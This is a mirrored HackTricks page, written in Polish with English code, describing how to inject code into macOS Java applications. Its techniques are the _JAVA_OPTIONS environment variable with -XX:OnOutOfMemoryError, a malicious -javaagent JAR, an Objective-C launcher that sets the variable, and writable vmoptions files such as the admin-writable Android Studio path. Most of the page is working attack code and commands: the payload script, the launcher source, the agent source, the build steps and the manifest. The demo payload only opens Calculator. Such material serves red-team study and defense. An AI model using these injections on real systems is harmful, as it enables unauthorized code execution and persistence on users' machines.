mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 21:28:55 +00:00
186 lines
7.9 KiB
Markdown
186 lines
7.9 KiB
Markdown
|
# macOS Java Applications Injection
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Enumeration
|
||
|
|
||
|
Znajdź aplikacje Java zainstalowane w swoim systemie. Zauważono, że aplikacje Java w **Info.plist** będą zawierać pewne parametry java, które zawierają ciąg **`java.`**, więc możesz to wyszukać:
|
||
|
```bash
|
||
|
# Search only in /Applications folder
|
||
|
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||
|
|
||
|
# Full search
|
||
|
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||
|
```
|
||
|
## \_JAVA\_OPTIONS
|
||
|
|
||
|
Zmienna środowiskowa **`_JAVA_OPTIONS`** może być używana do wstrzykiwania dowolnych parametrów java w wykonaniu skompilowanej aplikacji java:
|
||
|
```bash
|
||
|
# Write your payload in a script called /tmp/payload.sh
|
||
|
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||
|
```
|
||
|
Aby wykonać to jako nowy proces, a nie jako dziecko bieżącego terminala, możesz użyć:
|
||
|
```objectivec
|
||
|
#import <Foundation/Foundation.h>
|
||
|
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||
|
|
||
|
int main(int argc, const char * argv[]) {
|
||
|
@autoreleasepool {
|
||
|
// Specify the file path and content
|
||
|
NSString *filePath = @"/tmp/payload.sh";
|
||
|
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
|
||
|
|
||
|
NSError *error = nil;
|
||
|
|
||
|
// Write content to the file
|
||
|
BOOL success = [content writeToFile:filePath
|
||
|
atomically:YES
|
||
|
encoding:NSUTF8StringEncoding
|
||
|
error:&error];
|
||
|
|
||
|
if (!success) {
|
||
|
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
|
||
|
return 1;
|
||
|
}
|
||
|
|
||
|
NSLog(@"File written successfully to %@", filePath);
|
||
|
|
||
|
// Create a new task
|
||
|
NSTask *task = [[NSTask alloc] init];
|
||
|
|
||
|
/// Set the task's launch path to use the 'open' command
|
||
|
[task setLaunchPath:@"/usr/bin/open"];
|
||
|
|
||
|
// Arguments for the 'open' command, specifying the path to Android Studio
|
||
|
[task setArguments:@[@"/Applications/Android Studio.app"]];
|
||
|
|
||
|
// Define custom environment variables
|
||
|
NSDictionary *customEnvironment = @{
|
||
|
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
|
||
|
};
|
||
|
|
||
|
// Get the current environment and merge it with custom variables
|
||
|
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
|
||
|
[environment addEntriesFromDictionary:customEnvironment];
|
||
|
|
||
|
// Set the task's environment
|
||
|
[task setEnvironment:environment];
|
||
|
|
||
|
// Launch the task
|
||
|
[task launch];
|
||
|
}
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
Jednak to spowoduje błąd w uruchomionej aplikacji, innym, bardziej dyskretnym sposobem jest stworzenie agenta Java i użycie:
|
||
|
```bash
|
||
|
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||
|
|
||
|
# Or
|
||
|
|
||
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||
|
```
|
||
|
{% hint style="danger" %}
|
||
|
Tworzenie agenta z **inną wersją Javy** niż aplikacja może spowodować awarię działania zarówno agenta, jak i aplikacji
|
||
|
{% endhint %}
|
||
|
|
||
|
Gdzie agent może być:
|
||
|
|
||
|
{% code title="Agent.java" %}
|
||
|
```java
|
||
|
import java.io.*;
|
||
|
import java.lang.instrument.*;
|
||
|
|
||
|
public class Agent {
|
||
|
public static void premain(String args, Instrumentation inst) {
|
||
|
try {
|
||
|
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
|
||
|
Runtime.getRuntime().exec(commands);
|
||
|
}
|
||
|
catch (Exception err) {
|
||
|
err.printStackTrace();
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
Aby skompilować agenta, uruchom:
|
||
|
```bash
|
||
|
javac Agent.java # Create Agent.class
|
||
|
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||
|
```
|
||
|
Z `manifest.txt`:
|
||
|
```
|
||
|
Premain-Class: Agent
|
||
|
Agent-Class: Agent
|
||
|
Can-Redefine-Classes: true
|
||
|
Can-Retransform-Classes: true
|
||
|
```
|
||
|
A następnie wyeksportuj zmienną env i uruchom aplikację java w ten sposób:
|
||
|
```bash
|
||
|
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||
|
|
||
|
# Or
|
||
|
|
||
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||
|
```
|
||
|
## vmoptions file
|
||
|
|
||
|
Ten plik wspiera specyfikację **Java params** podczas wykonywania Java. Możesz użyć niektórych z wcześniejszych sztuczek, aby zmienić parametry java i **sprawić, że proces wykona dowolne polecenia**.\
|
||
|
Co więcej, ten plik może również **zawierać inne** za pomocą katalogu `include`, więc możesz również zmienić dołączony plik.
|
||
|
|
||
|
Jeszcze więcej, niektóre aplikacje Java **ładują więcej niż jeden plik `vmoptions`**.
|
||
|
|
||
|
Niektóre aplikacje, takie jak Android Studio, wskazują w swoim **wyjściu, gdzie szukają** tych plików, na przykład:
|
||
|
```bash
|
||
|
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||
|
|
||
|
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
||
|
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
||
|
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
||
|
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
|
||
|
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||
|
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||
|
```
|
||
|
Jeśli nie, możesz łatwo to sprawdzić za pomocą:
|
||
|
```bash
|
||
|
# Monitor
|
||
|
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||
|
|
||
|
# Launch the Java app
|
||
|
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||
|
```
|
||
|
Zauważ, jak interesujące jest to, że Android Studio w tym przykładzie próbuje załadować plik **`/Applications/Android Studio.app.vmoptions`**, miejsce, w którym każdy użytkownik z grupy **`admin` ma dostęp do zapisu.**
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|